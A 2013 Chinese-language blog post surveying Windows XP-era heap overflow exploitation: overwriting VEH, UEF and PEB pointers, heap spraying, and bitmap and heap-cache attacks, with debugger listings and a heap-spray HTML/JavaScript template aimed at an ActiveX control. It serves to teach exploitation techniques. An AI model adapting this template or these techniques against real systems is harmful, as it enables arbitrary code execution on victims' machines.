2013年12月26日 星期四

windows Heap溢出利用方式總結

Title:windows堆溢出利用方式總結
Author:riusksk(泉哥)
Blog  :http://riusksk.blogbus.com

一、利用VEH

向量化異常處理(VEH,Vectored Exception Handling)最初是在XP中公佈,它的優先級高於SEH,並且VEH是存在堆中的,它是你在代碼中明確新增的,並不伴隨try/catch之類的語句而產生,它也需要通過API(AddVectoredExceptionHandler)來註冊回調函數,並可註冊多個VEH,各個VEH結構體之間串成雙向鏈表,因此比SEH多了一個前後指標,其它更詳細的訊息可參考《Windows XP中的向量化異常處理》一文:http://bbs.pediy.com/showthread.php?t=49868。每一個VEH結構均存儲在堆上,其結構如下:

struct _VECTORED_EXCEPTION_NODE
{
    DWORD   m_pNextNode;        //指向下一個_VECTORED_EXCEPION_NODE結構,因此可用偽造的指標來覆蓋它
    DWORD   m_pPreviousNode;        //指向上一個_VECTORED_EXCEPION_NODE結構
    PVOID   m_pfnVectoredHandler;    //異常處理函數
}

負責分發_VECTORED_EXCEPION_NODE的代碼如下:

77F7F49E   8B35 1032FC77    MOV ESI,DWORD PTR DS:[77FC3210]    ;賦值後ESI指向_VECTORED_EXCEPION_NODE結構,即m_pNextNode
77F7F4A4   EB 0E            JMP SHORT ntdll.77F7F4B4
77F7F4A6   8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9   50               PUSH EAX
77F7F4AA   FF56 08          CALL DWORD PTR DS:[ESI+8]        ;可用shellcode-0x8去覆蓋m_pNextNode指標

接著我們在堆中確定shellcode地址,可先用垃圾字符去填充,比如'0x41',然後在堆中搜索它。當發生堆溢出時,堆塊的前向指標和後向指標就會被篡改,比如異常出現在:

MOV DWORD PTR DS:[ECX],EAX    ;EAX = Flink = 寫入的內容
MOV DWORD PTR DS:[EAX+4],ECX    ;ECX = Blink = 寫入的地址

那麼我們就可以用m_pNextNode-4來覆蓋ECX,然後用shellcode-8去覆蓋EAX。關於m_pNextNode指標的獲取,我們只需在觸發異常後,按shift+F7步過異常即可找到此指標,比如以下代碼:

77F60C2C   BF 1032FC77      MOV EDI,ntdll.77FC3210        ;m_pNextNode指標
77F60C31   393D 1032FC77    CMP DWORD PTR DS:[77FC3210],EDI
77F60C37   0F85 48E80100    JNZ ntdll.77F7F485

關於EAX和ECX的偏移地址可通過pattern_create和pattern_offset來獲取。這樣當觸發異常時就會調用VEH,而此時下一個VEH結構即是我們特意構造的shellcode,這樣我們的惡意代碼就有可以被執行了。

二、利用UEF

系統默認異常處理函數(UEF,Unhandler Exception Filter)是系統處理異常時最後調用的一個異常處理例程,在堆溢出中,只需將這一地址覆蓋為我們的shellcode地址即可。獲取UEF地址的方法可以通過查看SetUnhandledExceptionFilter()的代碼來定位,接著再找到操作UnhandledExceptionFilter指標的MOV指令,比如以下代碼:

77E93114   A1 B473ED77      MOV EAX,DWORD PTR DS:[77ED73B4]    ;UnhandledExceptionFilter指標
77E93119   3BC6             CMP EAX,ESI
77E9311B   74 15            JE SHORT kernel32.77E93132
77E9311D   57               PUSH EDI
77E9311E   FFD0             CALL EAX

現在我們只需找到shellcode地址,或者看是否有某一暫存器reg剛好指向shellcode或其附近,然後用shellcode地址或者類似call [reg + offset]的指令地址來覆蓋UnhandledExceptionFilter指標,比較常用的指令如:

call dword ptr ds:[edi+74]
call dword ptr ds:[esi+4c]

其它eax,ebx也有可能指向堆,亦可作為跳板來用。

三、利用PEB

由於當UEF被調用後,它最終會調用ExitProcess()來結束程序,而它在清理現場時需要進入臨界區以同步執行緒,因此會調用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是通過存放在PEB中的一對指標來調用這兩個函數的,如果能夠利用DWORD SHOOT把這對指標篡改成shellcode入口地址,那麼在程序結束調用ExitProcess()就會執行shellcode。下面是在Windows XP SP3下PEB的情況:

0:000> dt _PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 SpareBool        : UChar
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : Ptr32 Void
   +0x018 ProcessHeap      : Ptr32 Void
   +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION    //根據此指標來間接進入臨界區
   +0x020 FastPebLockRoutine : Ptr32 Void
   +0x024 FastPebUnlockRoutine : Ptr32 Void
   +0x028 EnvironmentUpdateCount : Uint4B
   ……

但在WinXP SP2之後微軟就加入了PEB random保護,不再使用固定的PEB基址,而使用具有一定隨機性的PEB基址,以提高利用的難度。

四、Heap Spary

Heap Spary技術最早是由SkyLined於2004年為IE的iframe漏洞寫的exploit而使用到新技術,目前主要作為瀏覽器攻擊的經典方法,被大量網馬所使用。Heap Spary技術是使用js分配記憶體,所分配的記憶體均放入堆中,然後用各帶有shellcode的堆塊去覆蓋一大片記憶體地址,Javascript分配記憶體從低址向高址分配,申請的記憶體空間超出了200M,即大於了0x0C0C0C0C時,0x0C0C0C0C就會被覆蓋掉,因此只要讓IE執行到0x0C0C0C0C(有時也會用0x0D0D0D0D這一地址)就可以執行shellcode,這些堆塊可以用NOP + shellcode 來填充,每塊堆構造1M大小即可,當然這也不是固定。這樣當nop區域命中0x0c0c0c0c時,就可執行在其後面的shellcode。下面是一個簡單模板:

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<script>

Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";

var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
    nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i<200; i++)
{
    slide[i] = nop + shellcode;
}

var s= '';
while (s.length < 748)
{
    s+="\x0c";
}
target.Overflow(s);

</script>
</body>
</html>

五、Bitmap Flipping Attack

在 Heap Management 結構中包含有Freelist Bitmap標誌位,它是一個4字節的DWORD值,當對應的FreeList[n]被填充時,bitmap就將被設置。當請求分配堆塊時,它會先搜索與之大小合適的FreeList[n],然後檢測對應的bitmap,若上面為0就表示上面是塊未使用的空閒塊,則對應的FreeList[n]將用於分配配塊,接著返回到對應的請求塊FreeList[n]指向的地址。因此如果我們可以控制Bitmap,並能夠覆蓋freelist[n]中的值,那麼我們就可以通過它來執行任意代碼。更多訊息可參見Ruxcon 2008大會上面的文章《Heaps About Heaps》

六、Heap Cache Attack

Heap Cache主要用於降低頻繁遍歷FreeList[0]的性能消耗,以提高性能。它主要是為FreeList[0]中的堆塊建立擴展索引,更重要的是,Heap Manager並沒有將任何空閒塊移動緩衝中,這些空閒塊一直保存在FreeList[0]中,但緩衝中保存著一些指標,它們指向FreeList[0]中的某些節點,以此來提升訪問FreeList[0]的速度。堆緩衝是一個bucket陣列,每一個bucket包含有intptr_t字節用於存儲大小,還有一個NULL指標或者FreeList[0]上的堆塊指標。默認情況下,陣列包括有896個bucket,其大小在1024和8192之間,但大小是可配置的,我們可指定最大的緩衝索引號。在堆緩衝攻擊技術中又存在各種利用方式,比如De-synchronization Attack(通過覆寫堆塊頭訊息中的大小域,使每次請求同等大小堆塊時都指向同一塊已經使用的記憶體塊,如果攻擊者可能控制這一記憶體塊中的內容,就有可能導致任意代碼執行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……這些方法有很大的局限性,在實際運用上很難派上用場,若想獲取更多關於這方面的訊息可以參見BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。

七、Bitmap XOR Attack

Bitmap XOR Attack 是通過異或操作來更改 freelist bitmap,如果系統嘗試清除這一錯誤的標誌位,那麼就可能從一個空閒位(free bit)切換到設置位(set bit),進而實現類似上文提到的bitmap attack。這個可以通過篡改堆塊頭訊息中的大小域(CurSize),使其小於0x80,接著再使對應堆塊中的前向指向與後向指標相等(flink == blink),並保證其指向的地址是可讀的。更多訊息可以參見BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。後面這幾種方法實際利用價值不大,權當瞭解,學習思路更為重要。

沒有留言:

張貼留言